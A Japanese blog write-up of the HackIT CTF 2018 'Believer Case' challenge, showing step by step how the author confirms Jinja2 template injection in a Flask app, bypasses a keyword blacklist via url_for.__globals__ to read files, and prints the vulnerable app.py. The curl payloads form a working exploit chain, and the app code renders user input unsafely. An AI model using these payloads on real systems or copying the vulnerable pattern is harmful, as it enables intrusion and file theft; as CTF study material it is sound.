こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HackIT CTF 2018 - Believer Case

問題文

We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you? http://185.168.131.123

f:id:graneed:20180909200908p:plain

writeup

トップのHTMLソースは以下の通り。

root@kali:~# curl http://185.168.131.123
Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>

/testにアクセスすると、testという文字列が返ってきた。

root@kali:~# curl http://185.168.131.123/test
test

/testhogeにアクセスすると、testhogeという文字列が返ってきた。

root@kali:~# curl http://185.168.131.123/testhoge
testhoge

入力した文字列がレスポンスにそのまま反映されるようだ。

Template Engineを使用している可能性があるため、Template Injectionを試す。

root@kali:~# curl "http://185.168.131.123/\{\{7+7\}\}"
77

root@kali:~# curl "http://185.168.131.123/\{\{7*7\}\}"
49

ビンゴ。いけそうだ。

flask+jinja2と仮定し、グローバル変数を表示させてみる。 以下のflaskのコードのrv.globals.updateに格納されている変数が、テンプレート内で使用できるグローバル変数

github.com

request変数を確認するとエラー。

root@kali:~# curl "http://185.168.131.123/\{\{request\}\}"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

g変数を確認すると成功。そしてflaskを使用している確証を得る。

root@kali:~# curl "http://185.168.131.123/\{\{g\}\}"
&lt;flask.g of &#39;app&#39;&gt;

何かフィルターされているのかもしれない。試してみる。

root@kali:~# curl "http://185.168.131.123/\{%25print(request)%25\}"
()

root@kali:~# curl "http://185.168.131.123/\{%25print('aaa' + request + 'zzz')%25\}"
aaazzz

どうやら"request"という文字列が除去されているようだ。

他、いくつか試すと、少なくとも以下の文字列が除去の対象となっている。 ブラケットは痛い。

  • [
  • ]
  • open
  • config
  • request
  • attr
  • class

ここで、先週開催のTokyoWesternsCTFのflask+Jinja2の問題の解法tweetを思い出した。

試してみる。

root@kali:~# curl "http://185.168.131.123/\{\{url_for\}\}"
&lt;function url_for at 0x7fde0c3b7a28&gt;r

ビンゴ!
イムリーすぎて、
「あっ、これ進●ゼミでやったところだ!」という気持ちになる。

url_forから辿って__globals__にアクセスできたため、そこからosモジュールおよびビルトインモジュールにアクセスする。[]が使用できないため、__getitem__で代替する。

カレントディレクトリ内にフラグファイルを発見する。

root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('os').listdir('./')\}\}"
['app.py', 'flag_secret_file_910230912900891283']r

フラグファイルを表示する。

root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('__builtins__').__getitem__('open')('flag_secret_file_910230912900891283').read()\}\}"
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}

フラグゲット。
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}

補足

何のワードが除去されていたか確認するため、app.pyも見てみた。

from flask import Flask, render_template, render_template_string

app = Flask(__name__)

def blacklist_replace(template):
    blacklist = ["[","]","config","self","from_pyfile","|","join","mro","class","request","pop","attr","args","+"]

    for b in blacklist:
        if b in template:
           template=template.replace(b,"")

    return template

@app.route("/")
def index_template():
    return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>"

@app.route("/<path:template>")
def blacklist_template(template):
    if len(template) > 10000:
        return "This is too long"

    while blacklist_replace(template) != template:
        template = blacklist_replace(template)

    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=False)